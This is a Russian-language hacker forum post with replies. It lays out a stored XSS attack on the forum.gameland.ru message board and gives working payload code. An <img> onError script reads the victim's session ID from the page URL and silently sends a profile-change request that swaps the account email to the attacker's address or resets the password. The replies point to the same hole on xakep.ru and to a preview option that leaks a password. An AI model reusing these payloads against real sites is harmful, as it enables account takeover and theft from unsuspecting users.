Не так давно в файл-логе моего сниффера(http://zero.h12.ru/)начали появляться ссылки на форум http://forum.gameland.ru. Захожу посмотреть, а там наш Че восхищается этим форумом в плане его дырявости, что мол скоро он будет обязательно взломан и все такое) Ну жду,значит появления статьи на античате, не дождался, видимо он не стал заниматься этим. И вот решил сегодня попробовать сам. Итак, уязвимы там, как я понял все возможные поля. Разрешены некоторые тэги, сначала я поробовал вставить скрипт через тэг <a> - влегкую. Но для взлома желательно использовать картинку, для скрытности, и тэг <img>, разумеется тоже пропускает скрипты. Думаю, поработаю со сниффером: отловлю referer(для получения ID) и cookies, и буду заходить в чужие настройки, короче заняться XSS. Но тут решил зайти в свои для начала. И что же? Действительно клево, давно такого извращения не встречал) Абсолютно все настройки меняются без запроса текущего пароля, а именно: пароль, мыло для напоминания пароля - короче все самое интересное для нас. Ну повозился немного с JavaScript, (методы использовал, описанные в моей заметке "Почтовые WWW-интерфейсы" и вот что получилось. Способ вставки скрипта:<span style='color:red'> <img src='x'onError=alert();></span> Сам скрипт такой. Вырезаем из location идентификатор (обычно позиция с 57 и 32 в длину)<span style='color:red'> stroka=location &#43;1; str=stroka.substr(58, 32);</span> Здесь &#43; -код символа +, потому что иначе он не проходит. задаваемый на обработчик onError URL изменения настройки:<span style='color:red'> document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&[email protected]';</span> В этом случае я меняю только мыло для того чтобы мне выслали на него чужой пароль. А можно сразу и пароль поменять, правда отрезав тем самым юзера от своего аккаунта:<span style='color:red'> document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&PASSWORD=XXXX&CONFIRM_PASSWORD=XXXX';</span> Полностью, код который нужно вставлять в тело сообщения выглядит так:</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"> <img name=coolpict src='x'OnError=`stroka=location &#43;1; str=stroka.substr(58, 32); document.coolpict.src='http://forum.gameland.ru/profile/profile.asp?mode=store&sessionID='&#43;str &#43;'&[email protected]';`>[/QUOTE]<span id='postcolor'> Когда пользователь загружает картинку, происходит ошибка, и JS автоматически загружает другую "картинку" - изменение настроек. Так... Недостатки , значицца следующие)) : пользователь может просматреть свойства "рисунка"; громоздко, и неоптимизированно, некоторые браузеры, подозреваю, вообще не так проинтерпритируют код; почему-то срабатывает только если изначально включена графика, а на "показать рисунок" сработал только один раз и перестал); через раз также мой IE6 выдаёт ошибку о переполнении стэка и аварийно завершает работу; и самое главное, в некоторых случаях поле location может немного отличаться от того, под которую занесены параметры для функции substr(). Ну если кому-то будет очень нужно, тот все сможет оптимизировать, а для меня в этом нет надобности. В целом, пример рабочий.
Егорыч, сыровато.. Можешь размещать, но по мне тк желательно доработать, могу заняться если надо. Кстати на www.xakep.ru - форум абсолютно(абсолютно) такой же)
Хотя прикольно будет серия новостей: Найдены уязвимости чата на xakep.ru, найдены уязвимости форума на xakep.ru ... Молодец!
Там еще вроде в опции "предварительный просмотр" в поле referer можно увидеть свой ник и пароль для него ...
Послал.. Че, никто наверное не думал, вот и живой еще этот форум) Я к примеру даже специально при написании какой-нить простенькой гесты или форума таких ошибок не налеплю))